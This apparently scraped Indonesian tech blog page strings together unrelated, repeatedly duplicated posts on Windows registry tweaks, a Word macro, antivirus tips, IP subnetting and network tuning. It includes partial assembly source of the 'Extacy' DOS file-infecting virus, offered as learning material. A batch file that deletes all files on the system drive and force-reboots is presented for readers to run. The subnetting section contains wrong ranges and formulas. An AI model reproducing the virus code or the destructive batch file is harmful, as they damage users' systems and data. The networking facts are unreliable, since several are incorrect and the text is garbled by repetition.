-Agar catatan dapat diakses melalui windows desktop caranya denagn membuat ShortCut
-Caranya Klik kanan pada desktop NEW>ShortCut.
-Pada kotak type the location of the item klik browser lalu cari:
"C:\ProgramFile\MicrosoftOffice\Office10\OutLook.Exe" /C ipm.Stickynote
-Klik next lau finish.
-Caranya Klik kanan pada desktop NEW>ShortCut.
-Pada kotak type the location of the item klik browser lalu cari:
"C:\ProgramFile\MicrosoftOffice\Office10\OutLook.Exe" /C ipm.Stickynote
-Klik next lau finish.
-Regedit
-HKEY_LOCAL_MACHINE\Sistem\CurrentControlSet\Service\CD-room
Buatlah value dengan nama "AutoRun" isi data dengan angka 0 (disable)
1 (Enable)
-Restart.
-HKEY_LOCAL_MACHINE\Sistem\CurrentControlSet\Service\CD-room
Buatlah value dengan nama "AutoRun" isi data dengan angka 0 (disable)
1 (Enable)
-Restart.
-Regedit
-HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\
WinLogOn
Carilah Dword value bernama "Sfcscan" ubah nilai value
dari 0 menjadi 1
-Restart
-HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\
WinLogOn
Carilah Dword value bernama "Sfcscan" ubah nilai value
dari 0 menjadi 1
-Restart
-Start>Run ketikan sfc/scannow
-Masukan cd windows xp kedalam cd room dirve jika diminta.
-Masukan cd windows xp kedalam cd room dirve jika diminta.
-Regedit
-HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer
Buat suatu value baru (Dword) dengan nama "ClearRecentDocsOnExit"
isi data dengan 1
-Restart
-HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer
Buat suatu value baru (Dword) dengan nama "ClearRecentDocsOnExit"
isi data dengan 1
-Restart
-Regedit
-HKEY_CLASSES_ROOT\*\SHELLex\Context\MenuHandlers
Buat Key Baru dengan cara klik kanan pada key "ContextMenuHandlers" ketikan {645FF040_5081_101B_9F08_00AA002F954E}
-Restart.
Catatan:
-Format jam pada time style ada;
H = 24 Hours
h = 12 hours
-HKEY_CLASSES_ROOT\*\SHELLex\Context\MenuHandlers
Buat Key Baru dengan cara klik kanan pada key "ContextMenuHandlers" ketikan {645FF040_5081_101B_9F08_00AA002F954E}
-Restart.
Catatan:
-Format jam pada time style ada;
H = 24 Hours
h = 12 hours
-Regedit
-HKEY_USER\.Default\Software\Microsoft\Windows\CurrentVersion\Applets\
Defrag\DisableScreenServer
-Apabila folder (key) "DisableScreenServer" belum ada buatlah terlebih dahulu.
-Pada value default di "DisableScreenServer" isikan dengan "Yes"
-HKEY_USER\.Default\Software\Microsoft\Windows\CurrentVersion\Applets\
Defrag\DisableScreenServer
-Apabila folder (key) "DisableScreenServer" belum ada buatlah terlebih dahulu.
-Pada value default di "DisableScreenServer" isikan dengan "Yes"
-Tools>Option
-Pada kotak macro name, tuliskan tools options & pada kotak pilihan storeMacroIn, pilihlah All Document (Normal.Dot)
-OK...!
-Lanjutkan dengan Tools>Macro>StopRecording
-Tools>Macro>Macros (diklik)
pada kotak macros, pilihlah ToolsOptions yang terdapat didalam kotak didalam daftar Macros name, klik edit
-Jendela visual basic editor akan terbuka, kemudian antara baris code subToolsOptions () dan End sub tiliskan kode:"MsgBox("Maaf anda tidak dapat membuka menu ini")
-Dapat pula dilakukan pengaturan untuk costomize.
-Pada kotak macro name, tuliskan tools options & pada kotak pilihan storeMacroIn, pilihlah All Document (Normal.Dot)
-OK...!
-Lanjutkan dengan Tools>Macro>StopRecording
-Tools>Macro>Macros (diklik)
pada kotak macros, pilihlah ToolsOptions yang terdapat didalam kotak didalam daftar Macros name, klik edit
-Jendela visual basic editor akan terbuka, kemudian antara baris code subToolsOptions () dan End sub tiliskan kode:"MsgBox("Maaf anda tidak dapat membuka menu ini")
-Dapat pula dilakukan pengaturan untuk costomize.
-Regedit
-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
System
Buat suatu DWORD value dengan nama "NoDispScrSavPage lalu isikan nilainya dengan angka 1 untuk mengembalikanya ganti angka satu dengan 0
-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
System
Buat suatu DWORD value dengan nama "NoDispScrSavPage lalu isikan nilainya dengan angka 1 untuk mengembalikanya ganti angka satu dengan 0
oke...
artikel ini saya ambil pada Date: Sunday, December 18, 2005 Hits: 12049 By: Sibie Project
Bagi yang ingin mempelajari bagaimana membuat virus ataupun antivirus, pada kesempatan kali ini di bagikan source code virus Extacy dan Zero Hunt.Setidaknya sebagian ilmu dan teknik dapat diambil dari ke2 virus di bawah ini.
Virus Extacy ------------------------------------------------------------------------
.model tiny
.code
.radix 16
.code
viruslength = heap - _small
startload = 90 * 4
_small:
call relative
oldheader dw 020cdh
dw 0bh dup (0)
relative:
pop bp
push ds
push es
xor ax,ax
mov ds,ax
mov es,ax
mov di,startload
cmp word ptr ds:[di+25],di
jz exit_small
lea si,[bp-3]
mov cx,viruslength
db 2Eh
rep movsb
mov di,offset old21 + startload
mov si,21*4
push si
movsw
movsw
pop di
mov ax,offset int21 + startload
stosw
xchg ax,cx
stosw
exit_small:
pop es
pop ds
or sp,sp
jnp returnCOM
returnGNU:
returnCOM:
mov di,100
push di
mov si,bp
movsw
movsb
ret
infect:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov ax,3d02
int 21
xchg ax,bx
push cs
pop ds
push cs
pop es
mov ax,5700h
int 21h
push cx
push dx
mov si,offset oldheader+startload
mov ah,3f
mov cx,18
push cx
mov dx,si
int 21
cmp ax,cx
jnz go_already_infected
mov di,offset target + startload
push di
rep movsb
pop di
mov ax,4202
cwd
int 21
cmp ds:[di],'ZM'
jz infectNOT
cmp ds:[di],'MZ'
jz infectNOT
sub ax,3
mov byte ptr ds:[di],0e9
mov ds:[di+1],ax
sub ax,viruslength
cmp ds:[si-17],ax
jnz finishinfect
go_already_infected:
pop cx
jmp short already_infected
db "EXTASY!"
db "(c) Metal Militia / Immortal Riot"
01_ Gunakan antivirus yang senantiasa di update, paling tidak seminggu sekali, jika online maka aktifkan auto update pada antivirus
02_ Non aktifkan fasilitas autorun pada komputer kita, sehingga CD-ROM maupun flashdisk yang kita masukkan ke komputer tidak langsung menjalankan file yang ada di dalamnya. Bagi yang belum tahu, bisa di cari caranya di blog ini
03_ Tampilkan semua ekstensi file windows, termasuk file system windows. Caranya : Di windows explorer buka menu Tools > Folder Options… kemudian pilih tab view Kemudian pilih (aktifkan) opsi “show hidden files and folder”, hilangkan check pada pilihan “Hide extensions for known file types” juga hilangkan tanda check pada “Hide protected operating system files (Recommended)”.
04_ Periksa setiap flashdisk yang dimasukkan apakah ada file autorun.inf, jika ada coba dilihat isinya, jika mengacu ke sebuah file .exe, .dll atau .scr yang aneh / hidden, segera hapus file-nya atau scan dengan antivirus
Ini yang mungkin sangat penting : Jika komputer digunakan oleh banyak orang, minta agar pengguna berhati-hati sebelum menjalankan sebuah file, jangan hanya melihat icon-nya, tapi melihat ekstensinya. Misalnya file itu dengan icon ms word, excel, gambar, mp3 dsb tetapi kok berekstensi .exe, .scr, .vbs, .bat atau tidak sesuai dengan iconnya, harap diwaspadai
Ini yang mungkin sangat penting : Jika komputer digunakan oleh banyak orang, minta agar pengguna berhati-hati sebelum menjalankan sebuah file, jangan hanya melihat icon-nya, tapi melihat ekstensinya. Misalnya file itu dengan icon ms word, excel, gambar, mp3 dsb tetapi kok berekstensi .exe, .scr, .vbs, .bat atau tidak sesuai dengan iconnya, harap diwaspadai
05_Gunakan tools / program seperti autoruns untuk melihat file/program apa saja yang berjalan ketika windows diaktifkan. Jika ada program yang aneh segera tanyakan kepada orang yang lebih tahu.
selamat beraksi
IPV4 itu yang terdiri dari 4 segment xxx.xxx.xxx.xxx = 32 bit
dimana 1 segment = 1byte = 8bit
nilai total dari masing2 segment adalah 255
itu diambil dari perpangkatan 2 pangkat bilangan dari 0-7
nilainya 128+64+32+16+8+4+2+1= 255
bila nilai 255 maka nilia bit persegment = 1 1 1 1 1 1 1 1
misal IP 192.168.10.1 / 24
maka nilai IP segment pertama :
1 1 0 0 0 0 0 0 . 1 0 1 0 1 0 0 0 . 0 0 0 0 1 0 1 0 . 0 0 0 0 0 0 0 1
192 . 168 . 10 . 1
dan / 32 adalah subnet masknya dari jumlah bitnya..
1 1 1 1 1 1 1 1 . 1 1 1 1 1 1 1 1 . 1 1 1 1 1 1 1 1 . 0 0 0 0 0 0 0 0
255 . 255 . 255 . 0
IP Address
class A, range 1-126, IP Private 1.0.0.1 s/d 126.255.255.254, subnet mask 255.0.0.0
class B, range 128-191, IP Private 128.0.0.1 s/d 191.255.255.254, subnet mask 255.255.0.0
class C, range 191-223, IP Prvate 191.0.0.1 s/d 223.255.255.254, subnet mask 255.255.255.0
nb :
IP 127.0.0.1 itu untuk IP loopback/ localhost
IP 0.0.0.0 dan 255.255.255.255 untuk broadcast
untuk class D dan E dah jarang di gunakan, jadi yang ini aja ya
contoh :
IP class A, misal : 100.10.10.1
maka subnet mask : 255.0.0.0
IP class B, misal : 172.16.10.1
maka subnet mask : 255.255.0.0
IP class C, misal : 192.168.10.1
maka subnet mask : 255.255.255.0
Network dan Host
class A, Network ID W.0.0.0, Host ID 0.X.Y.Z, jumlah PC 16,777,214 hosts
class B, Network ID W.X.0.0, Host ID 0.0.Y.Z, jumlah PC 65,532 hosts
class C, Network ID W.X.Y.0, Host ID 0.0.0.Z, jumlah PC 254 hosts
contoh:
IP class A, misal : 100.10.10.1
maka Network ID : 100.0.0.0
dan Host ID : 0.10.10.1
IP class B, misal : 172.16.10.1
maka Network ID : 172.16.0.0
dan Host ID : 0.0.10.1
IP class C, misal : 192.168.10.1
maka Network ID : 192.168.10.0
dan Host ID : 0.0.0.1
Subnetting
rumus:
1. Mencari IP Pertaman = 265-jumlah nilai range terakhir
2. Jumlah Network ID = 2^x-2
dimana, x = nilai bit pada segment terakhir yang bernilai 1
3. Jumlah Host ID = 2^y-2
dimana, y= nilai bit pada segment terakhir yang bernilai 0
defaut subnet:
/8 = 255.0.0.0
/16 = 255.255.0.0
/24 = 255.255.255.0
dimana subnetting hanya menentukan jumlah dari Network ID dan Jumlah Host ID
source :devilzc0de
dimana 1 segment = 1byte = 8bit
nilai total dari masing2 segment adalah 255
itu diambil dari perpangkatan 2 pangkat bilangan dari 0-7
nilainya 128+64+32+16+8+4+2+1= 255
bila nilai 255 maka nilia bit persegment = 1 1 1 1 1 1 1 1
misal IP 192.168.10.1 / 24
maka nilai IP segment pertama :
1 1 0 0 0 0 0 0 . 1 0 1 0 1 0 0 0 . 0 0 0 0 1 0 1 0 . 0 0 0 0 0 0 0 1
192 . 168 . 10 . 1
dan / 32 adalah subnet masknya dari jumlah bitnya..
1 1 1 1 1 1 1 1 . 1 1 1 1 1 1 1 1 . 1 1 1 1 1 1 1 1 . 0 0 0 0 0 0 0 0
255 . 255 . 255 . 0
IP Address
class A, range 1-126, IP Private 1.0.0.1 s/d 126.255.255.254, subnet mask 255.0.0.0
class B, range 128-191, IP Private 128.0.0.1 s/d 191.255.255.254, subnet mask 255.255.0.0
class C, range 191-223, IP Prvate 191.0.0.1 s/d 223.255.255.254, subnet mask 255.255.255.0
nb :
IP 127.0.0.1 itu untuk IP loopback/ localhost
IP 0.0.0.0 dan 255.255.255.255 untuk broadcast
untuk class D dan E dah jarang di gunakan, jadi yang ini aja ya
contoh :
IP class A, misal : 100.10.10.1
maka subnet mask : 255.0.0.0
IP class B, misal : 172.16.10.1
maka subnet mask : 255.255.0.0
IP class C, misal : 192.168.10.1
maka subnet mask : 255.255.255.0
Network dan Host
class A, Network ID W.0.0.0, Host ID 0.X.Y.Z, jumlah PC 16,777,214 hosts
class B, Network ID W.X.0.0, Host ID 0.0.Y.Z, jumlah PC 65,532 hosts
class C, Network ID W.X.Y.0, Host ID 0.0.0.Z, jumlah PC 254 hosts
contoh:
IP class A, misal : 100.10.10.1
maka Network ID : 100.0.0.0
dan Host ID : 0.10.10.1
IP class B, misal : 172.16.10.1
maka Network ID : 172.16.0.0
dan Host ID : 0.0.10.1
IP class C, misal : 192.168.10.1
maka Network ID : 192.168.10.0
dan Host ID : 0.0.0.1
Subnetting
rumus:
1. Mencari IP Pertaman = 265-jumlah nilai range terakhir
2. Jumlah Network ID = 2^x-2
dimana, x = nilai bit pada segment terakhir yang bernilai 1
3. Jumlah Host ID = 2^y-2
dimana, y= nilai bit pada segment terakhir yang bernilai 0
defaut subnet:
/8 = 255.0.0.0
/16 = 255.255.0.0
/24 = 255.255.255.0
dimana subnetting hanya menentukan jumlah dari Network ID dan Jumlah Host ID
source :devilzc0de
ua.... ngantuk juga lama2 didepan laptop. okelah, sebelum bubuk aku mau posting sedikit ilmu tentang cara mempercepat koneksi internet. begini caranya...
pertama yang harus kamu siapin adalah notpad. buka notpad tersebut lalu copykan kode dibawah ini !!!
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
“TCPWindowSize”=dword:000faf00
“GlobalMaxTcpWindowSize”=dword:000faf00
“EnablePMTUDiscovery”=dword:00000001
“SackOpts”=dword:00000001
“DefaultTTL”=dword:00000200
“TcpMaxDupAcks”=dword:00000002
“Tcp1323Opts”=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
“MaxConnectionsPerServer”=dword:00000019
“MaxConnectionsPer1_0Server”=dword:00000019
[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
“MaxConnectionsPerServer”=dword:00000019
“MaxConnectionsPer1_0Server”=dword:00000019
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
“MaxNegativeCacheTtl”=dword:00000000
“NetFailureCacheTime”=dword:00000000
“NegativeSOACacheTime”=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Psched]
“NonBestEffortLimit”=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\ServiceProvider]
“LocalPriority”=dword:00000006
“HostsPriority”=dword:00000007
“DnsPriority”=dword:00000008
“NetbtPriority”=dword:00000009
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{A360487D-4138-479C-A0F6-D03C8EC28926}]
“MTU”=dword:000005dc
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters]
“SizReqBuf”=dword:00004000
nah, lalu simpan file tersebut dengan ekstensi .reg
selamat mencoba
pertama yang harus kamu siapin adalah notpad. buka notpad tersebut lalu copykan kode dibawah ini !!!
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
“TCPWindowSize”=dword:000faf00
“GlobalMaxTcpWindowSize”=dword:000faf00
“EnablePMTUDiscovery”=dword:00000001
“SackOpts”=dword:00000001
“DefaultTTL”=dword:00000200
“TcpMaxDupAcks”=dword:00000002
“Tcp1323Opts”=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
“MaxConnectionsPerServer”=dword:00000019
“MaxConnectionsPer1_0Server”=dword:00000019
[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
“MaxConnectionsPerServer”=dword:00000019
“MaxConnectionsPer1_0Server”=dword:00000019
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
“MaxNegativeCacheTtl”=dword:00000000
“NetFailureCacheTime”=dword:00000000
“NegativeSOACacheTime”=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Psched]
“NonBestEffortLimit”=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\ServiceProvider]
“LocalPriority”=dword:00000006
“HostsPriority”=dword:00000007
“DnsPriority”=dword:00000008
“NetbtPriority”=dword:00000009
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{A360487D-4138-479C-A0F6-D03C8EC28926}]
“MTU”=dword:000005dc
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters]
“SizReqBuf”=dword:00004000
nah, lalu simpan file tersebut dengan ekstensi .reg
selamat mencoba
membaca judulnya kok kayaknya nakutin ya. aku aja belum pernah mraktekin. ya itung2 cuman nambah pengetahuan. buka notpad di komputermu dan tuliskan perintah di bawah ini
Code:
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
File name = .bat
type file = All file
Encoding = ANSI
key...
simpan dengan ekstensi ".bat"
lalu klik 2x pada file tersebut.em... apa yang terjadi????
Code:
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
File name = .bat
type file = All file
Encoding = ANSI
key...
simpan dengan ekstensi ".bat"
lalu klik 2x pada file tersebut.em... apa yang terjadi????
Langganan:
Postingan (Atom)